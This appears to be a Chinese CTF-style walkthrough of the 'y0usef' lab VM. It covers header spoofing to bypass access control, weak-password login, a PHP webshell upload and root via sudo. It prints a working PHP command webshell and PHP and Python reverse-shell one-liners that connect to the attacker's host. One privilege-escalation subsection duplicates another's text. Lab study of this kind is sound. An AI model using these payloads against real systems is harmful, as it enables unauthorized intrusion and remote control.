渗透测试——y0usef靶机渗透提权详细过程(插件伪造请求头)

Y0usef 主要目标是获得普通用户和 root 权限的 flag。渗透过程主要涉及 服务枚举、WEB 目录爆破、HTTP 访问控制绕过、文件上传漏洞利用、反向 shell 获取初始权限,再进行提权。

涉及知识点:

  • x-Forward-For伪造请求头
  • 系统弱口令与文件上传
  • SUDO提权

文章目录

    • 靶机设置
    • 信息收集
      • http服务
    • 漏洞利用:访问控制绕过
      • X-Forwarded-For伪造请求头原理
      • 伪造请求头
      • 方法一:使用 HackBar (最推荐)
      • 方法二:使用 ModHeader 插件 (日常最通用)
      • 系统SQL注入尝试
      • 系统弱口令爆破
    • 漏洞利用:系统文件上传
      • 上传shell文件
      • 命令执行反弹shell
    • 提权
      • 敏感文件权限
      • SUDO提权
      • SUID提权
      • PwnKit服务越权(失败)
      • X.Org服务越权(失败)
      • SSH登陆
    • 总结

靶机设置

我们还是老样子,分别在VMwarevirtualBox里打开kali以及目标机器,并且设置两台机器之间可以互相访问(模拟公网中攻击者与Web服务器的过程):

我们知道目标机器所处网段为192.168.56.0/24,接下来我们就需要对其进行信息收集:

此时我们知道的是:

  • kali的IP地址为:192.168.56.102
  • 目标机器的网段为:192.168.56.0/24

所以接下来我们要做的就是探测其具体IP以及开放的服务以及端口;


信息收集

这里我们还是使用nmap对目标机器进行详细的信息收集:

bash 复制代码
# 简单IP探测
nmap -sP 192.168.56.0/24

# 详细信息收集
nmap -sC -sV -A -p- 192.168.56.113

我们得到目标机器IP地址为192.168.56.113

接下来我们就要收集其开放的端口以及服务了:

我们可以看到目标机器只开放了22端口以及80端口:

  • 22端口:ssh服务
  • 80端口:http服务

http服务

根据上述,所以我们接下来就去Web网页能收集到什么信息,访问网址:http://192.168.56.113/

没想到得到这样页面,没有服务?Ctrl+U查看源代码也没有可利用的信息;

所以接下来我们就只能Web目录枚举了:

还是老样子用dirsearch对网页进行扫描:

bash 复制代码
python dirsearch.py -u http://192.168.56.113/

得到结果如下图:

  • /adminstration:301 说明目录真实存在
  • /index.php/login/:可能是后台登陆页面

(1)尝试访问http://192.168.56.113/**adminstration**/页面:

发现无权限访问,Web服务应该设置了身份认证之类的限制;

(2)访问http://192.168.56.113/**index.php/login**,发现返回的确实默认页面:

Web枚举扫描发现两个页面均无可用信息,接下来我们又应该怎么办?

漏洞利用:访问控制绕过

有以下几种思路:

  • 访问控制绕过:对已存在但受限的路径(403/only localhost)尝试请求头伪造、方法切换、路径变形
  • 逻辑与配置缺陷探测:关注重写路由、PATH_INFO、参数拼接导致的逻辑绕过或包含问题

常见的手段如下:

请求头伪造(最常见):

复制代码
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
Client-IP: 127.0.0.1
Forwarded: for=127.0.0.1
Referer: http://127.0.0.1/

路径层绕过

  • /adminstration/.
  • /adminstration/...;
  • /adminstration/%2e/

请求方法绕过 :(最经典的就是tomcat的PUT上传

  • GET → POST
  • HEAD → GET

X-Forwarded-For伪造请求头原理

这里我们简单讲一下原理:

一句话原理:
X-Forwarded-For 等请求头本来是给反向代理 用来传递"真实客户端 IP"的,但它们本质是普通 HTTP 头部,客户端可以随意伪造;若后端错误信任这>些头,就会被绕过访问控制。


很多 Web 应用为了"图省事",在应用层做了如下限制逻辑:

关键问题:

  • 开发者错误地信任了 HTTP 请求头
  • 认为 X-Forwarded-For、X-Real-IP 等字段是"可信的真实来源 IP"

而实际上:

  • 这些请求头完全由客户端控制,可以随意伪造
    要点总结:

  • X-Forwarded-For / X-Real-IP / Client-IP 都是不可信输入

  • 只有服务器生成的 REMOTE_ADDR 才相对可靠

  • 信任可控请求头 ⇒ 访问控制可被绕过


伪造请求头

所以我们可以尝试抓包对其进行修改:

正常访问时:

我们伪造请求头后,添加语句:

bash 复制代码
X-Forwarded-For: 127.0.0.1

结果如下:

我们可以看到出现了一个新的页面,包括用户名以及密码框等新信息;

但是这只是在bp里显示,我们有应该如何利用里面的usernamepassword 参数呢?

(接下来的可是干货了)

方法一:使用 HackBar (最推荐)

HackBar 是专门为渗透测试设计的,操作非常直接。

  1. 在浏览器中按 F12 打开开发者工具,点击 HackBar 标签。
  2. 点击 Load URL,加载你当前的访问地址。
  3. 勾选 Custom Header (不同版本的 HackBar 界面略有不同,有的在 Post Data 下方,有的需要点击 Enable)。
  4. 在输入框中填入:X-Forwarded-For: 127.0.0.1
  5. 点击 Execute

注意: 这样页面就会在浏览器的主窗口中渲染出来,你可以直接在输入框里填入 usernamepassword 进行测试。

(成功访问;)

方法二:使用 ModHeader 插件 (日常最通用)

如果你不习惯用 HackBar 或 Burp,可以安装一个名为 ModHeader 的浏览器插件:

  1. 安装后点击插件图标。
  2. Name 处填入 X-Forwarded-For
  3. Value 处填入 127.0.0.1
  4. 只要这个插件处于开启状态,你访问任何网站都会带上这个伪造的 IP。

成功访问;


系统SQL注入尝试

看到框框了,这我们应该想到什么?

这里我们再次使用bp抓包,并对其尝试进行SQL注入:

(我们修改后访问,响应码 也变为200了)

SQL注入的方法:(那就有很多种了)

  • 针对参数,bp使用Intruder模块,字典尝试爆破;
  • 使用sqlmap测试;

发现两者均没有结果;只能换个方向继续收集信息。

系统弱口令爆破

既然是思路错了,换个方向,直接使用弱口令爆破账号密码:

也是成功爆破出账号密码:admin / admin

进入到一个新页面:

漏洞利用:系统文件上传

上传shell文件

我们进入后发现DashboardUsers页面都是空白页面,只有Upload file存在功能:

我们尝试上传一个一句话木马,看看是否有限制;

文件上传常见绕过方法

  • 文件扩展名
  • 文件类型
  • 在数据段位置添加真实的图片的头部信息,将PHP的Webshell附加到图片数据的最后部分

通过尝试,发现上传.php和.txt文件等文本文件内容是一样的;

所以我们尝试一下修改成shell文件内容 + 图片后缀名

随便搞一条语句:

bash 复制代码
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

点击上传之后,修改Content-Type: image/png

成功得到上传的文件路径:files/17685465791.php

命令执行反弹shell

尝试访问,空白(说明shell文件上传成功):

使用cmd参数执行一下命令:

(知道用户为www-data系统用户);

kali创建监听:

反弹一个shell到kali(192.168.56.102)上:

bash 复制代码
php -r '$sock=fsockopen("192.168.56.102",9001);exec("/bin/sh <&3 >&3 2>&3");'

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.102",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'

我都服了,明明目标机器上就是有PHP,sh,perl等语言,偏偏只有python才能运行成功。。。(无语了)

提权

敏感文件权限

(1)查看/etc/passwd的敏感文件权限

无法利用;

SUDO提权

需要密码,无法利用;

SUID提权

输入命令寻找可利用的s程序:

bash 复制代码
find / -perm -u=s -type f 2>/dev/null

发现了很多没见过的程序,于是上网查资料看哪些可以利用:

PwnKit服务越权(失败)

判断是否可用(PwnKit)

bash 复制代码
pkexec --version

关注点

  • polkit < 0.120 → 高概率可利用
  • 有版本但系统较老(Ubuntu 20.04 / Debian 10 以前)→ 高风险

可以看到处于可利用的版本内;

X.Org服务越权(失败)

判断是否可用(PwnKit)

bash 复制代码
pkexec --version

关注点

  • polkit < 0.120 → 高概率可利用
  • 有版本但系统较老(Ubuntu 20.04 / Debian 10 以前)→ 高风险

同理,处于可利用的版本内;

但是都很遗憾,试了没能尝试成功;

SSH登陆

随后继续在目标机器搜索信息,发现了一个user.txt文件:

内容是一个用户的ssh登陆账号密码:

bash 复制代码
c3NoIDogCnVzZXIgOiB5b3VzZWYgCnBhc3MgOiB5b3VzZWYxMjM=

账号密码:yousef / yousef 123

尝试登陆:

bash 复制代码
ssh yousef@192.168.56.113 -p 22
# 输入密码即可

成功登陆:

最后还是通过SUDO提权获得了root权限:

输入命令su root,并输入密码即可变为root用户:

最后得到flag:

结果:

完整命令展示:

bash 复制代码
# 进入到yousef用户
yousef@yousef-VirtualBox:~$ id
id
uid=1000(yousef) gid=1000(yousef) groups=1000(yousef),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)

# 查看权限
yousef@yousef-VirtualBox:~$ sudo -l
sudo -l
[sudo] password for yousef: yousef123

Matching Defaults entries for yousef on yousef-VirtualBox:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User yousef may run the following commands on yousef-VirtualBox:
    (ALL : ALL) ALL

# SUDO越权
yousef@yousef-VirtualBox:~$ su root
su root
Password: yousef123

# 成功切换
root@yousef-VirtualBox:/home/yousef# id
id
uid=0(root) gid=0(root) groups=0(root)
root@yousef-VirtualBox:/home/yousef# cd /root
cd /root
root@yousef-VirtualBox:~# ls -a
ls -a
.  ..  .bash_history  .bashrc  .profile  root.txt

# 得到flag
root@yousef-VirtualBox:~# cat root.txt
cat root.txt
WW91J3ZlIGdvdCB0aGUgcm9vdCBDb25ncmF0dWxhdGlvbnMgYW55IGZlZWRiYWNrIGNvbnRlbnQgbWUgdHdpdHRlciBAeTB1c2VmXzEx
root@yousef-VirtualBox:~#

总结

本次主要是通过伪造请求头进入了系统,随后与kali建立shell连接控制主机,最后通过SUDO提权getshell;

涉及知识点:

  • x-Forward-For伪造请求头
  • 系统弱口令与文件上传
  • SUDO提权

期待下次再见;

相关推荐
BingoGo21 小时前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack21 小时前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
Sinclair3 天前
简单几步,安卓手机秒变服务器,安装 CMS 程序
android·服务器
JaguarJack3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
Rockbean4 天前
用40行代码搭建自己的无服务器OCR
服务器·python·deepseek
埃博拉酱4 天前
VS Code Remote SSH 连接 Windows 服务器卡在"下载 VS Code 服务器":prcdn DNS 解析失败的诊断与 BITS 断点续传
windows·ssh·visual studio code
茶杯梦轩4 天前
CompletableFuture 在 项目实战 中 创建异步任务 的核心优势及使用场景
服务器·后端·面试